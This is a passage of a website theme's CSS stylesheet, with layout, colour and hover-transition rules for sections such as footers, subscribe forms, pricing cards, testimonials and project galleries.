2px solid #e2e7ea; padding-bottom: 15px; } .subscribe-one__form ::-webkit-input-placeholder { opacity: 1; color: inherit; } .subscribe-one__form :-ms-input-placeholder { opacity: 1; color: inherit; } .subscribe-one__form ::-ms-input-placeholder { opacity: 1; color: inherit; } .subscribe-one__form ::placeholder { opacity: 1; color: inherit; } .subscribe-one__form button[type=submit] { font-size: 18px; position: absolute; top: 50%; right: 0; -webkit-transform: translateY(-50%); transform: translateY(-50%); background-color: transparent; color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .subscribe-one__form button[type=submit]:hover { color: var(--thm-black); } /* Service Six */ .service-six { background-color: #edf1f3; position: relative; padding-top: 100px; padding-bottom: 70px; } @media (min-width: 992px) { .service-six { padding-bottom: 120px; padding-top: 120px; } } @media (min-width: 1200px) { .service-six { padding-bottom: 205px; } } .service-six__curv svg { width: 100%; position: absolute; bottom: -1px; left: 0; -webkit-transform: rotate(-180deg); transform: rotate(-180deg); z-index: 10; color: #fff; } .service-six__item { margin-bottom: 30px; } .service-six__content { position: relative; background-color: #fff; -webkit-box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.05); padding: 45px 50px; } .service-six__content::before { content: ''; width: 100%; height: 3px; background-color: var(--thm-base); position: absolute; bottom: 0; left: 0; -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; -webkit-transform-origin: left center; transform-origin: left center; } .service-six__item:hover .service-six__content::before { -webkit-transform: scaleX(1); transform: scaleX(1); -webkit-transform-origin: right center; transform-origin: right center; } .service-six__icon { width: 102px; height: 102px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; background-color: #fff; -webkit-box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.05); -webkit-transition: all 500ms ease; transition: all 500ms ease; position: absolute; top: -63px; right: 30px; z-index: 10; } .service-six__icon i { font-size: 60px; color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-six__item:hover .service-six__icon { background-color: var(--thm-base); } .service-six__item:hover .service-six__icon i { color: #fff; } .service-six__title { margin: 0; color: var(--thm-black); font-size: 22px; font-weight: bold; margin-bottom: 35px; } .service-six__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-six__title a:hover { color: var(--thm-base); } .service-six__text { font-size: 18px; color: var(--thm-text); line-height: 2em; margin: 0; } /* Footer seven */ .footer-seven { background-color:#060606; background-image: url(../images/update-01-10-2021/shapes/footer-bg-1-1.png); background-position: center center; padding-top: 100px; padding-bottom: 60px; } @media (min-width: 1200px) { .footer-seven { padding-bottom: 90px; } } .footer-seven__widget { margin-bottom: 30px; } @media (min-width: 1200px) { .footer-seven__widget { margin-bottom: 0; } } .footer-seven__about__text { margin: 0; font-size: 16px; line-height: 1.875em; color:white; margin-top: 20px; } .footer-seven__about__text a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; line-height: 40px; } .footer-seven__about__text a:hover { color: #fff; } .footer-seven__title { margin: 0; font-size: 18px; font-weight: bold; color: #fff; margin-bottom: 25px; } .footer-seven__links__list li + li { margin-top: 6px; } .footer-seven__links__list li a { color:white; font-size: 16px; -webkit-transition: all 500ms ease; transition: all 500ms ease; position: relative; } .footer-seven__links__list li a::before { content: ''; width: 100%; height: 1px; background-color: #fff; position: absolute; bottom: 0; left: 0; -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: left center; transform-origin: left center; -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; } .footer-seven__links__list li a:hover { color: #fff; } .footer-seven__links__list li a:hover::before { -webkit-transform-origin: right center; transform-origin: right center; -webkit-transform: scaleX(1); transform: scaleX(1); } @media (min-width: 992px) { .footer-seven [class*=col-]:last-child { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .footer-seven [class*=col-]:last-child .footer-seven__social { margin-top: -50px; } } .footer-seven__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .footer-seven__social a { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; width: 40px; height: 40px; background-color: red; font-size: 14px; -webkit-transition: all 500ms ease; transition: all 500ms ease; color: #fff; border-radius: 50%; } @media (min-width: 992px) { .footer-seven__social a { width: 56px; height: 56px; font-size: 18px; } } .footer-seven__social a + a { margin-left: 10px; } .footer-seven__social a:hover { background-color: #fff; color: var(--thm-black); } .footer-seven__copyright { background-color:#020202; padding: 39px 0; } .footer-seven__copyright p { margin: 0; font-size: 16px; color:white; } /* footer eight */ .footer-eight { padding-top: 75px; padding-bottom: 60px; background-color: var(--thm-black); } @media (min-width: 1200px) { .footer-eight { padding-top: 95px; padding-bottom: 80px; } } .footer-eight__title { margin: 0; font-size: 16px; font-weight: bold; color: #fff; margin-bottom: 15px; } @media (min-width: 1200px) { .footer-eight__title { margin-bottom: 39px; } } .footer-eight__widget { margin-bottom: 20px; } .footer-eight__widget p { margin: 0; font-size: 14px; font-weight: 500; color: #acb5cb; line-height: 2.14; } .footer-eight__widget p a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .footer-eight__widget p a:hover { color: #fff; } .footer-eight__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 20px; } @media (min-width: 1200px) { .footer-eight__social { margin-top: 30px; } } .footer-eight__social a { color: #acb5cb; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .footer-eight__social a + a { margin-left: 25px; } .footer-eight__social a:hover { color: var(--thm-base); } .footer-eight__copyright { background-color: #112350; } .footer-eight__copyright .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; text-align: center; padding-top: 20px; padding-bottom: 20px; } @media (min-width: 992px) { .footer-eight__copyright .auto-container { -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; padding-top: 35px; padding-bottom: 35px; } } .footer-eight__copyright p { font-size: 14px; font-weight: 500; color: #acb5cb; margin: 0; margin-top: 5px; } /* footer nine */ .footer-nine { padding-top: 80px; padding-bottom: 40px; background-color: var(--thm-black); } @media (min-width: 1200px) { .footer-nine .row { -webkit-box-align: center; -ms-flex-align: center; align-items: center; } } @media (min-width: 1200px) { .footer-nine { padding-top: 0; padding-bottom: 0; } } .footer-nine__widget { margin-bottom: 30px; } @media (min-width: 1200px) { .footer-nine__widget { margin-bottom: 0; } } .footer-nine__widget__title { margin: 0; color: #fff; font-size: 24px; text-transform: uppercase; font-weight: 500; line-height: 1; margin-bottom: 20px; } @media (min-width: 1200px) { .footer-nine__widget__title { margin-bottom: 30px; } } .footer-nine__subscribe__text { margin: 0; font-size: 16px; color: #999b9f; line-height: 2.25; max-width: 302px; margin-bottom: 20px; } .footer-nine__subscribe form { position: relative; max-width: 300px; width: 100%; } .footer-nine__subscribe form input[type=text], .footer-nine__subscribe form input[type=email], .footer-nine__subscribe form input[type=phone] { background-color: #1c1e22; width: 100%; display: block; height: 70px; border-radius: 8px; color: #999b9f; font-size: 14px; padding-left: 30px; font-family: var(--thm-b-font); } .footer-nine__subscribe form button[type=submit] { background-color: rgba(0, 0, 0, 0); color: var(--thm-base); font-size: 16px; padding: 0; border: none; outline: none; position: absolute; top: 50%; right: 30px; -webkit-transform: translateY(-50%); transform: translateY(-50%); } .footer-nine__subscribe form ::-webkit-input-placeholder { opacity: 1; color: inherit; } .footer-nine__subscribe form :-ms-input-placeholder { opacity: 1; color: inherit; } .footer-nine__subscribe form ::-ms-input-placeholder { opacity: 1; color: inherit; } .footer-nine__subscribe form ::placeholder { opacity: 1; color: inherit; } .footer-nine__links { margin-bottom: 0; } @media (min-width: 1200px) { .footer-nine__links { border-left: 1px solid rgba(255, 255, 255, 0.07); border-right: 1px solid rgba(255, 255, 255, 0.07); margin-left: -10px; padding-left: 90px; padding-right: 15px; margin-right: -15px; padding-top: 140px; padding-bottom: 110px; } } .footer-nine__links__list { margin: 0; margin-bottom: 20px; } @media (min-width: 1200px) { .footer-nine__links__list { margin-bottom: 0; } } .footer-nine__links__list li a { color: #999b9f; font-size: 16px; -webkit-transition: all 500ms ease; transition: all 500ms ease; position: relative; } .footer-nine__links__list li a::before { content: ''; width: 100%; height: 1px; background-color: #fff; position: absolute; bottom: 0; left: 0; -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: right center; transform-origin: right center; -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; } .footer-nine__links__list li a:hover { color: #fff; } .footer-nine__links__list li a:hover::before { -webkit-transform: scaleX(1); transform: scaleX(1); -webkit-transform-origin: left center; transform-origin: left center; } @media (min-width: 1200px) { .footer-nine__contact { padding-left: 75px; } } .footer-nine__contact__text { margin: 0; font-size: 16px; line-height: 1.875; color: #999b9f; max-width: 193px; margin-bottom: 10px; } @media (min-width: 1200px) { .footer-nine__contact__text { margin-bottom: 20px; } } .footer-nine__contact__list { margin-bottom: 0; } .footer-nine__contact__list li { position: relative; padding-left: 28px; color: #fff; font-size: 16px; } .footer-nine__contact__list li a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .footer-nine__contact__list li a:hover { opacity: 0.8; } .footer-nine__contact__list li i { color: var(--thm-base); font-size: 15px; position: absolute; top: 0; left: 0; } .footer-nine__bottom { background-color: #1c1e22; } .footer-nine__bottom .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; padding-top: 20px; padding-bottom: 20px; } @media (min-width: 992px) { .footer-nine__bottom .auto-container { -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; padding-top: 26px; padding-bottom: 26px; } } .footer-nine__copyright { margin: 0; font-size: 16px; color: #999b9f; } .footer-nine__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; margin-top: 20px; } @media (min-width: 992px) { .footer-nine__social { margin-top: 0; } } .footer-nine__social a { width: 44px; height: 44px; background-color: #000000; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; color: #999b9f; font-size: 16px; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .footer-nine__social a:hover { background-color: #fff; color: var(--thm-black); } .footer-nine__social a + a { margin-left: 10px; } /* subscribe two */ .subscribe-two { background-color: #ff9a61; padding-top: 100px; padding-bottom: 100px; background-image: url(../images/update-01-10-2021/shapes/subscribe-two-bg-1-1.png); background-repeat: no-repeat; background-position: top right; position: relative; } @media (min-width: 1200px) { .subscribe-two { padding-top: 120px; padding-bottom: 120px; } } .subscribe-two__shape { position: absolute; bottom: 55px; left: 150px; width: 154px; height: 92px; background-image: url(../images/update-01-10-2021/shapes/subscribe-two-shape-1.png); background-repeat: no-repeat; } @media (min-width: 1200px) { .subscribe-two .row { -webkit-box-align: center; -ms-flex-align: center; align-items: center; } } .subscribe-two__title { margin: 0; color: #fff; font-size: 40px; letter-spacing: -0.04em; } @media (min-width: 1200px) { .subscribe-two__title { font-size: 50px; max-width: 505px; } } .subscribe-two__title span { font-weight: bold; } .subscribe-two__form { position: relative; margin-top: 50px; } @media (min-width: 992px) { .subscribe-two__form { margin-top: 0; } } .subscribe-two__form input[type=text], .subscribe-two__form input[type=email], .subscribe-two__form input[type=phone] { display: block; width: 100%; border-radius: 5px; background-color: #fff; color: var(--thm-text); font-size: 16px; padding-left: 30px; padding-right: 30px; height: 91px; } .subscribe-two__form ::-webkit-input-placeholder { opacity: 1; color: inherit; } .subscribe-two__form :-ms-input-placeholder { opacity: 1; color: inherit; } .subscribe-two__form ::-ms-input-placeholder { opacity: 1; color: inherit; } .subscribe-two__form ::placeholder { opacity: 1; color: inherit; } .subscribe-two__form button[type=submit] { height: 61px; width: 61px; background-color: var(--thm-black); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; color: #fff; font-size: 22px; border-radius: 50%; position: absolute; top: calc(50% - 30.5px); right: 10px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .subscribe-two__form button[type=submit]:hover { background-color: var(--thm-base); color: #fff; } /* Blog Seven */ .blog-seven { padding-top: 90px; padding-bottom: 70px; } @media (min-width: 992px) { .blog-seven { padding-top: 110px; padding-bottom: 90px; } } .blog-seven__item { margin-bottom: 30px; } .blog-seven__image { overflow: hidden; border-top-left-radius: 5px; border-top-right-radius: 5px; } .blog-seven__image img { width: 100%; } .blog-seven__content { position: relative; border: 1px solid #f0eae4; border-top: 0; border-bottom: 0; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; padding-bottom: 40px; padding-top: 20px; padding-left: 40px; padding-right: 40px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .blog-seven__content::after { content: ''; background-color: #f0eae4; width: 100%; height: 11px; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; position: absolute; bottom: 0; left: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .blog-seven__item:hover .blog-seven__content { border-color: #ff9a61; } .blog-seven__item:hover .blog-seven__content::after { background-color: #ff9a61; } .blog-seven__title { margin: 0; color: var(--thm-black); font-size: 24px; font-weight: 500; line-height: 1.5em; } .blog-seven__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .blog-seven__title a:hover { color: inherit; } .blog-seven__meta { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .blog-seven__meta a { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; color: var(--thm-text); font-size: 14px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .blog-seven__meta a:not(:last-child)::after { content: '/'; margin-left: 10px; margin-right: 10px; } .blog-seven__meta a i { color: var(--thm-base); font-size: 14px; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-right: 4px; } .blog-seven__meta a:hover { color: var(--thm-base); } .blog-seven__meta a:hover i { color: var(--thm-black); } .blog-seven__date { position: absolute; left: 40px; bottom: 100%; background-color: #fff; padding-left: 20px; padding-right: 20px; color: var(--thm-text); font-size: 12px; z-index: 10; border-top-left-radius: 5px; border-top-right-radius: 5px; } /* Testimonials Seven */ .testimonials-seven { background-color: #f8f4f0; padding-top: 100px; padding-bottom: 100px; padding-left: 15px; padding-right: 15px; position: relative; } @media (min-width: 1200px) { .testimonials-seven { padding-top: 120px; padding-bottom: 120px; } } @media (min-width: 1400px) { .testimonials-seven { padding-top: 120px; padding-bottom: 210px; } } .testimonials-seven .sec-title-seven { text-align: center; } @media (min-width: 1400px) { .testimonials-seven .sec-title-seven { text-align: left; max-width: 366px; margin-bottom: 0; margin-top: -10px; } } .testimonials-seven__nav { display: none; } @media (min-width: 1400px) { .testimonials-seven__nav { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 40px; } } .testimonials-seven__nav div + div { margin-left: 10px; } .testimonials-seven__nav span { border-radius: 50%; width: 56px; height: 56px; background-color: #fff; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; width: 56px; height: 56px; color: var(--thm-black); font-size: 22px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testimonials-seven__nav span:hover { background-color: var(--thm-base); color: #fff; } .testimonials-seven .swiper-container { overflow: visible; padding: 60px; } @media (min-width: 1400px) { .testimonials-seven .swiper-container { left: -60px; } } .testimonials-seven__slider { margin: -60px; overflow: hidden; } @media (min-width: 1400px) { .testimonials-seven__slider-wrapper { width: 100%; max-width: 1470px; position: absolute; right: -430px; top: 120px; } } .testimonials-seven__item { border-radius: 5px; background-color: #fff; -webkit-box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.05); padding: 40px; padding-bottom: 30px; } @media (min-width: 992px) { .testimonials-seven__item { padding: 60px; padding-bottom: 50px; } } .testimonials-seven__item::after { content: '\f15a'; font-family: "Flaticon"; font-size: 64px; color: var(--thm-base); position: absolute; top: 40px; right: 40px; } @media (min-width: 992px) { .testimonials-seven__item::after { top: 60px; right: 60px; } } .testimonials-seven__image { -ms-flex-negative: 0; flex-shrink: 0; margin-right: 20px; } .testimonials-seven__image img { border-radius: 50%; } .testimonials-seven__top { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .testimonials-seven__content { margin: 0; font-size: 18px; line-height: 2em; color: var(--thm-text); font-style: italic; margin-top: 25px; } .testimonials-seven__name { margin: 0; font-size: 18px; color: var(--thm-black); font-weight: 500; line-height: 1; margin-bottom: 5px; } .testimonials-seven__designation { margin: 0; font-size: 16px; line-height: 1; color: var(--thm-text); } /* sponsor seven */ .sponsor-seven .swiper-container { border-top: 1px solid #f0eae4; padding-top: 120px; padding-bottom: 120px; } .sponsor-seven .swiper-container img { opacity: 0.3; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .sponsor-seven .swiper-container img:hover { opacity: 1; } /* sponsor eight */ .sponsor-eight { background-color: #eef0f6; padding-top: 80px; padding-bottom: 80px; } @media (min-width: 1200px) { .sponsor-eight { padding-top: 120px; padding-bottom: 120px; } } .sponsor-eight img { opacity: 0.3; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .sponsor-eight img:hover { opacity: 0.8; } /* Funfact Seven */ .funfact-seven { padding-top: 100px; padding-bottom: 70px; } @media (min-width: 1200px) { .funfact-seven { padding-top: 120px; padding-bottom: 90px; } } .funfact-seven__item { width: 220px; height: 220px; border-radius: 50%; background-color: #fff; -webkit-box-shadow: 0px 20px 60px 0px rgba(42, 40, 51, 0.05); box-shadow: 0px 20px 60px 0px rgba(42, 40, 51, 0.05); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; position: relative; margin-bottom: 30px; margin-left: auto; margin-right: auto; } .funfact-seven__title { font-size: 40px; color: var(--thm-black); font-weight: 400; line-height: 1; margin: 0; padding-bottom: 13px; } .funfact-seven__text { margin: 0; color: #579eee; letter-spacing: .2em; font-weight: 500; font-size: 12px; line-height: 1; text-transform: uppercase; } .funfact-seven__text::before { content: ''; border-radius: 50%; border: 8px solid currentColor; position: absolute; top: 15px; left: 15px; right: 15px; bottom: 15px; opacity: 0.1; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .funfact-seven__item:hover .funfact-seven__text::before { opacity: 1; } @media (min-width: 992px) { .funfact-seven [class*=col-]:nth-child(1) .funfact-seven__item { margin-left: 0; } } .funfact-seven [class*=col-]:nth-child(2) .funfact-seven__text { color: #ff9a61; } .funfact-seven [class*=col-]:nth-child(3) .funfact-seven__text { color: #54d6ad; } @media (min-width: 992px) { .funfact-seven [class*=col-]:nth-child(4) .funfact-seven__item { margin-left: auto; margin-right: 0; } } .funfact-seven [class*=col-]:nth-child(4) .funfact-seven__text { color: #f15d8a; } /* Pricing two */ .pricing-two { background-color: #f8f4f0; background-image: url(../images/update-01-10-2021/shapes/pricing-2-bg-1-1.png); background-position: center center; padding-top: 100px; padding-bottom: 70px; } @media (min-width: 1200px) { .pricing-two { padding-top: 240px; padding-bottom: 90px; } } .pricing-two .animated { -webkit-animation-duration: 1500ms; animation-duration: 1500ms; } .pricing-two__card { margin-bottom: 30px; background-color: #fff; border-radius: 5px; padding-left: 40px; padding-right: 40px; text-align: center; -webkit-transition: all 500ms ease; transition: all 500ms ease; padding-top: 57px; padding-bottom: 52px; } .pricing-two__card:hover { background-color: var(--thm-black); } .pricing-two__amount { margin: 0; font-size: 60px; letter-spacing: -0.04em; line-height: 1; font-weight: 400; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .pricing-two__name { margin: 0; color: #ff9a61; text-transform: uppercase; letter-spacing: .2em; font-weight: 500; font-size: 14px; margin-top: 12px; } .pricing-two__list { margin: 0; border-top: 1px solid #f0eae4; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-bottom: 28px; padding-top: 30px; margin-top: 30px; } .pricing-two__list li { font-size: 16px; color: var(--thm-text); -webkit-transition: all 500ms ease; transition: all 500ms ease; font-weight: 400; } .pricing-two__list li + li { margin-top: 6px; } .pricing-two__tagline { text-transform: uppercase; letter-spacing: .2em; font-size: 12px; font-weight: 400; color: var(--thm-text); margin: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-top: 12px; } .pricing-two__card:hover .pricing-two__list { border-color: rgba(255, 255, 255, 0.1); } .pricing-two__card:hover .pricing-two__title, .pricing-two__card:hover .pricing-two__tagline { color: #a7a4b3; } .pricing-two__card:hover .pricing-two__amount { color: #fff; } .pricing-two .switch-toggler-list { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; margin-bottom: 30px; } .pricing-two .switch-toggler-list li { -webkit-box-ordinal-group: 1; -ms-flex-order: 0; order: 0; } .pricing-two .switch-toggler-list li:nth-child(2) { -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2; } .pricing-two .switch-toggler-list li:last-child { -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; margin-left: 10px; margin-right: 10px; } .pricing-two .switch-toggler-list li a { color: var(--thm-text); font-size: 16px; } .pricing-two .switch-toggler-list li.active a { color: var(--thm-black); } .pricing-two .switch-toggler-list li .switch { width: 79px; height: 36px; background-color: #f0eae4; border-radius: 18px; position: relative; display: block; cursor: pointer; } .pricing-two .switch-toggler-list li .switch span { width: 26px; height: 26px; border-radius: 50%; background-image: -webkit-gradient(linear, left top, right top, from(#ff9a61), color-stop(51%, #ff4b82), to(#ff9a61)); background-image: linear-gradient(to right, #ff9a61 0%, #ff4b82 51%, #ff9a61 100%); display: block; position: absolute; left: 5px; top: 5px; -webkit-transform: translateX(0%); transform: translateX(0%); -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; } .pricing-two .switch-toggler-list li .switch.off span { -webkit-transform: translateX(43px); transform: translateX(43px); } /* project seven */ .project-seven { padding-top: 100px; padding-bottom: 100px; } @media (min-width: 1200px) { .project-seven { padding-top: 120px; padding-bottom: 0; margin-bottom: -120px; position: relative; z-index: 10; } } .project-seven .auto-container { max-width: 100%; } @media (min-width: 992px) { .project-seven .auto-container { padding-left: 30px; padding-right: 30px; } } @media (min-width: 1200px) { .project-seven .auto-container { padding-left: 60px; padding-right: 60px; } } @media (min-width: 1400px) { .project-seven .auto-container { padding-left: 160px; padding-right: 160px; } } .project-seven__link { width: 50px; height: 50px; background-color: #fff; border-radius: 50%; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; position: absolute; top: 30px; right: 30px; font-size: 18px; color: var(--thm-black); -webkit-transition: color 500ms ease, background 500ms ease, opacity 500ms ease, -webkit-transform 500ms ease; transition: color 500ms ease, background 500ms ease, opacity 500ms ease, -webkit-transform 500ms ease; transition: color 500ms ease, background 500ms ease, transform 500ms ease, opacity 500ms ease; transition: color 500ms ease, background 500ms ease, transform 500ms ease, opacity 500ms ease, -webkit-transform 500ms ease; -webkit-transform: translateY(-50%); transform: translateY(-50%); opacity: 0; } .project-seven__link:hover { background-color: var(--thm-base); color: #fff; } .project-seven__item:hover .project-seven__link { -webkit-transform: translateY(0); transform: translateY(0); opacity: 1; } .project-seven__item { overflow: hidden; border-radius: 5px; position: relative; } .project-seven__item img { width: 100%; -webkit-transform: scale(1); transform: scale(1); opacity: 1; -webkit-transition: opacity 500ms ease, -webkit-transform 500ms ease; transition: opacity 500ms ease, -webkit-transform 500ms ease; transition: transform 500ms ease, opacity 500ms ease; transition: transform 500ms ease, opacity 500ms ease, -webkit-transform 500ms ease; } .project-seven__item:hover img { opacity: 1; -webkit-transform: scale(1.1); transform: scale(1.1); } .project-seven__content { position: absolute; top: 0; left: 0; right: 0; bottom: 0; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; padding: 50px; background-image: -webkit-gradient(linear, left bottom, left top, from(black), color-stop(70%, rgba(0, 0, 0, 0))); background-image: linear-gradient(to top, black 0%, rgba(0, 0, 0, 0) 70%); } .project-seven__category { color: #fff; font-size: 14px; margin: 0; line-height: 1; margin-bottom: 9px; } .project-seven__title { margin: 0; font-size: 24px; line-height: 1; color: #fff; line-height: 1.2em; font-weight: bold; } .project-seven__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .project-seven__title a:hover { color: var(--thm-base); } /* about eight */ .about-eight__icon i { font-size: 62px; color: var(--thm-base); } .about-eight__image { margin-top: 60px; } @media (min-width: 992px) { .about-eight__image { margin-top: 0; } } @media (min-width: 992px) { .about-eight__image img { max-width: none; float: left; margin-left: 70px; } } .about-eight__title { margin: 0; font-size: 40px; color: var(--thm-black); max-width: 540px; margin-top: 20px; } @media (min-width: 992px) { .about-eight__title { font-size: 50px; } } .about-eight__title span { font-weight: bold; } .about-eight__summery { font-size: 18px; line-height: 2; color: var(--thm-text); margin: 0; margin-top: 35px; margin-bottom: 25px; } .about-eight__progress + .about-eight__progress { margin-top: 18px; } .about-eight__progress { max-width: 560px; } .about-eight__progress-top p { margin: 0; font-size: 18px; font-weight: 500; color: var(--thm-black); } .about-eight__progress-line { width: 100%; height: 8px; border-radius: 4px; background-color: #f8f4f0; position: relative; margin-top: 5px; } .about-eight__progress-line b { font-weight: normal; font-size: 18px; color: var(--thm-text); position: absolute; right: 0; bottom: calc(100% + 5px); } .about-eight__progress-line b i { font-style: normal; } .about-eight__progress-line span { height: 100%; position: absolute; left: 0; top: 0; border-radius: 4px; background-color: #ff9a61; width: 0; -webkit-transition: all 1000ms ease; transition: all 1000ms ease; } .about-eight__btn { margin-top: 60px; } /* about nine */ .about-nine { padding-bottom: 120px; } .about-nine__image { margin-bottom: 60px; } @media (min-width: 992px) { .about-nine__image { margin-bottom: 0; } } @media (min-width: 992px) { .about-nine__image img { max-width: none; float: right; margin-right: 70px; } } .about-nine__icon i { font-size: 62px; color: var(--thm-base); } .about-nine__title { margin: 0; font-size: 40px; color: var(--thm-black); max-width: 540px; margin-top: 20px; margin-bottom: 25px; } @media (min-width: 992px) { .about-nine__title { font-size: 50px; } } .about-nine__title span { font-weight: bold; } .about-nine__summery { font-size: 24px; line-height: 1.667; color: var(--thm-base); font-weight: 400; margin-top: 10px; margin-bottom: 15px; } .about-nine__list { margin-top: 23px; margin-bottom: 60px; } .about-nine__list li { position: relative; padding-left: 35px; font-size: 18px; color: var(--thm-text); } .about-nine__list li + li { margin-top: 7px; } .about-nine__list li i { position: absolute; top: 10px; left: 0; color: #ffaa17; font-size: 20px; } /* service seven */ .service-seven { padding-top: 90px; padding-bottom: 70px; } @media (min-width: 992px) { .service-seven { padding-top: 110px; padding-bottom: 90px; } } .service-seven__item { text-align: center; border-radius: 5px; padding: 50px; padding-bottom: 40px; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-bottom: 30px; position: relative; } .service-seven__item::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; border: 1px solid #579eee; opacity: 0.2; border-radius: 5px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-seven__item:hover { -webkit-box-shadow: 0px 20px 20px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 20px 20px 0px rgba(0, 0, 0, 0.05); } .service-seven__item:hover::before { border-width: 2px; opacity: 1; } .service-seven__title { margin: 0; font-size: 20px; font-weight: 500; line-height: 1.7; color: var(--thm-black); margin-top: 30px; margin-bottom: 32px; position: relative; } .service-seven__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-seven__title a:hover { color: #579eee; } .service-seven__icon { width: 108px; height: 108px; position: 